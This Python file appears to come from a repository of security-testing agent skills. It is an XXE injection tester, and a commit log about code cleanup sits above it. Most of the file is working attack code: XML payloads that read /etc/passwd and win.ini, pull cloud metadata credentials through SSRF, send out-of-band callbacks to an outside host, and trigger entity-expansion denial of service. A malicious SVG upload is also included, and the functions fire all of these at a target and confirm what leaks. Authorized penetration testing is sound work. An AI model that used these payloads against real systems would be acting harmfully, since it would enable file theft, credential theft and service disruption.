mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 13:44:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
234 lines
9.0 KiB
Python
234 lines
9.0 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for testing XXE injection vulnerabilities during authorized assessments."""
|
|
|
|
import requests
|
|
import json
|
|
import argparse
|
|
import urllib3
|
|
from datetime import datetime
|
|
from urllib.parse import urljoin
|
|
import defusedxml.ElementTree as safe_ET
|
|
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
XXE_PAYLOADS = {
|
|
"file_read_linux": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
]>
|
|
<root><search>&xxe;</search></root>''',
|
|
|
|
"file_read_windows": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
|
|
]>
|
|
<root><search>&xxe;</search></root>''',
|
|
|
|
"ssrf_metadata": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
|
|
]>
|
|
<root><search>&xxe;</search></root>''',
|
|
|
|
"oob_http": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY xxe SYSTEM "http://{callback}/xxe-test">
|
|
]>
|
|
<root><search>&xxe;</search></root>''',
|
|
|
|
"oob_parameter_entity": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY % xxe SYSTEM "http://{callback}/xxe-param">
|
|
%xxe;
|
|
]>
|
|
<root><search>test</search></root>''',
|
|
|
|
"php_filter": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
|
]>
|
|
<root><search>&xxe;</search></root>''',
|
|
|
|
"billion_laughs_check": '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE lolz [
|
|
<!ENTITY lol "lol">
|
|
<!ENTITY lol2 "&lol;&lol;">
|
|
<!ENTITY lol3 "&lol2;&lol2;">
|
|
]>
|
|
<root><search>&lol3;</search></root>''',
|
|
}
|
|
|
|
|
|
def detect_xml_endpoints(base_url, token=None):
|
|
"""Test if endpoints accept XML content type."""
|
|
print("[*] Detecting XML-accepting endpoints...")
|
|
headers = {"Content-Type": "application/xml"}
|
|
if token:
|
|
headers["Authorization"] = f"Bearer {token}"
|
|
xml_test = '<?xml version="1.0"?><root><test>hello</test></root>'
|
|
endpoints = ["/api/search", "/api/users", "/api/data", "/api/import",
|
|
"/api/upload", "/ws/service", "/soap", "/xml"]
|
|
xml_endpoints = []
|
|
for ep in endpoints:
|
|
url = urljoin(base_url, ep)
|
|
try:
|
|
resp = requests.post(url, headers=headers, data=xml_test, timeout=10, verify=False)
|
|
if resp.status_code not in (404, 405, 415):
|
|
xml_endpoints.append({"endpoint": ep, "status": resp.status_code})
|
|
print(f" [+] {ep}: Accepts XML (status {resp.status_code})")
|
|
except requests.RequestException:
|
|
continue
|
|
return xml_endpoints
|
|
|
|
|
|
def test_content_type_switch(base_url, endpoint, token=None):
|
|
"""Test if a JSON endpoint also accepts XML."""
|
|
print(f"\n[*] Testing content-type switch on {endpoint}...")
|
|
json_headers = {"Content-Type": "application/json"}
|
|
xml_headers = {"Content-Type": "application/xml"}
|
|
if token:
|
|
json_headers["Authorization"] = f"Bearer {token}"
|
|
xml_headers["Authorization"] = f"Bearer {token}"
|
|
url = urljoin(base_url, endpoint)
|
|
try:
|
|
json_resp = requests.post(url, headers=json_headers,
|
|
json={"search": "test"}, timeout=10, verify=False)
|
|
xml_resp = requests.post(url, headers=xml_headers,
|
|
data='<?xml version="1.0"?><root><search>test</search></root>',
|
|
timeout=10, verify=False)
|
|
if xml_resp.status_code not in (415, 400, 404):
|
|
print(f" [!] Endpoint accepts both JSON ({json_resp.status_code}) and XML ({xml_resp.status_code})")
|
|
return True
|
|
except requests.RequestException:
|
|
pass
|
|
return False
|
|
|
|
|
|
def test_xxe_payloads(base_url, endpoint, token=None, callback=None):
|
|
"""Test an endpoint with XXE payloads."""
|
|
print(f"\n[*] Testing XXE payloads on {endpoint}...")
|
|
findings = []
|
|
headers = {"Content-Type": "application/xml"}
|
|
if token:
|
|
headers["Authorization"] = f"Bearer {token}"
|
|
url = urljoin(base_url, endpoint)
|
|
|
|
file_indicators = {
|
|
"file_read_linux": ["root:", "/bin/bash", "/bin/sh", "nobody:"],
|
|
"file_read_windows": ["[fonts]", "[extensions]", "for 16-bit"],
|
|
"ssrf_metadata": ["ami-id", "instance-id", "security-credentials"],
|
|
"php_filter": ["cm9vd", "L2Jpbi9"], # base64 fragments
|
|
}
|
|
|
|
for name, payload in XXE_PAYLOADS.items():
|
|
if "{callback}" in payload:
|
|
if callback:
|
|
payload = payload.replace("{callback}", callback)
|
|
else:
|
|
continue
|
|
try:
|
|
resp = requests.post(url, headers=headers, data=payload, timeout=15, verify=False)
|
|
indicators = file_indicators.get(name, [])
|
|
matched = [ind for ind in indicators if ind in resp.text]
|
|
if matched:
|
|
findings.append({
|
|
"type": "XXE_CONFIRMED", "payload_name": name,
|
|
"endpoint": endpoint, "indicators": matched,
|
|
"severity": "CRITICAL",
|
|
})
|
|
print(f" [!] XXE CONFIRMED ({name}): {matched}")
|
|
elif resp.status_code == 200 and "error" not in resp.text.lower()[:200]:
|
|
if name.startswith("oob"):
|
|
findings.append({
|
|
"type": "XXE_OOB_SENT", "payload_name": name,
|
|
"endpoint": endpoint, "severity": "HIGH",
|
|
"detail": "OOB payload sent - check callback server",
|
|
})
|
|
print(f" [?] OOB payload sent ({name}) - check callback server")
|
|
except requests.RequestException as e:
|
|
if "timed out" in str(e) and name == "billion_laughs_check":
|
|
findings.append({
|
|
"type": "XXE_DOS_POSSIBLE", "payload_name": name,
|
|
"endpoint": endpoint, "severity": "HIGH",
|
|
})
|
|
print(f" [!] Possible DoS via entity expansion (request timed out)")
|
|
return findings
|
|
|
|
|
|
def test_svg_upload(base_url, upload_endpoint, token):
|
|
"""Test SVG file upload for XXE."""
|
|
print(f"\n[*] Testing SVG upload XXE on {upload_endpoint}...")
|
|
svg_xxe = '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE svg [
|
|
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
|
]>
|
|
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
|
|
<text x="0" y="20">&xxe;</text>
|
|
</svg>'''
|
|
headers = {"Authorization": f"Bearer {token}"}
|
|
url = urljoin(base_url, upload_endpoint)
|
|
try:
|
|
files = {"file": ("xxe.svg", svg_xxe, "image/svg+xml")}
|
|
resp = requests.post(url, headers=headers, files=files, timeout=15, verify=False)
|
|
if resp.status_code in (200, 201):
|
|
print(f" [+] SVG uploaded (status {resp.status_code})")
|
|
return [{"type": "SVG_XXE_UPLOAD", "endpoint": upload_endpoint,
|
|
"status": resp.status_code, "severity": "HIGH"}]
|
|
except requests.RequestException as e:
|
|
print(f" [-] Error: {e}")
|
|
return []
|
|
|
|
|
|
def verify_safe_parsing(xml_string):
|
|
"""Demonstrate safe XML parsing with defusedxml."""
|
|
try:
|
|
safe_ET.fromstring(xml_string)
|
|
return True
|
|
except Exception as e:
|
|
print(f" [+] defusedxml correctly blocked: {type(e).__name__}")
|
|
return False
|
|
|
|
|
|
def generate_report(findings, output_path):
|
|
"""Generate XXE assessment report."""
|
|
report = {
|
|
"assessment_date": datetime.now().isoformat(),
|
|
"total_findings": len(findings),
|
|
"by_type": {},
|
|
"findings": findings,
|
|
}
|
|
for f in findings:
|
|
t = f.get("type", "UNKNOWN")
|
|
report["by_type"][t] = report["by_type"].get(t, 0) + 1
|
|
with open(output_path, "w") as fh:
|
|
json.dump(report, fh, indent=2)
|
|
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="XXE Injection Testing Agent")
|
|
parser.add_argument("base_url", help="Base URL of the target")
|
|
parser.add_argument("--token", help="Bearer token for authentication")
|
|
parser.add_argument("--endpoint", default="/api/search", help="XML endpoint to test")
|
|
parser.add_argument("--callback", help="OOB callback server (e.g., abc123.oast.fun)")
|
|
parser.add_argument("--upload-endpoint", help="SVG upload endpoint")
|
|
parser.add_argument("-o", "--output", default="xxe_report.json")
|
|
args = parser.parse_args()
|
|
|
|
print(f"[*] XXE Injection Assessment: {args.base_url}")
|
|
findings = []
|
|
xml_eps = detect_xml_endpoints(args.base_url, args.token)
|
|
test_content_type_switch(args.base_url, args.endpoint, args.token)
|
|
findings.extend(test_xxe_payloads(args.base_url, args.endpoint, args.token, args.callback))
|
|
for ep in xml_eps:
|
|
if ep["endpoint"] != args.endpoint:
|
|
findings.extend(test_xxe_payloads(args.base_url, ep["endpoint"], args.token, args.callback))
|
|
if args.upload_endpoint:
|
|
findings.extend(test_svg_upload(args.base_url, args.upload_endpoint, args.token))
|
|
verify_safe_parsing(XXE_PAYLOADS["file_read_linux"])
|
|
generate_report(findings, args.output)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|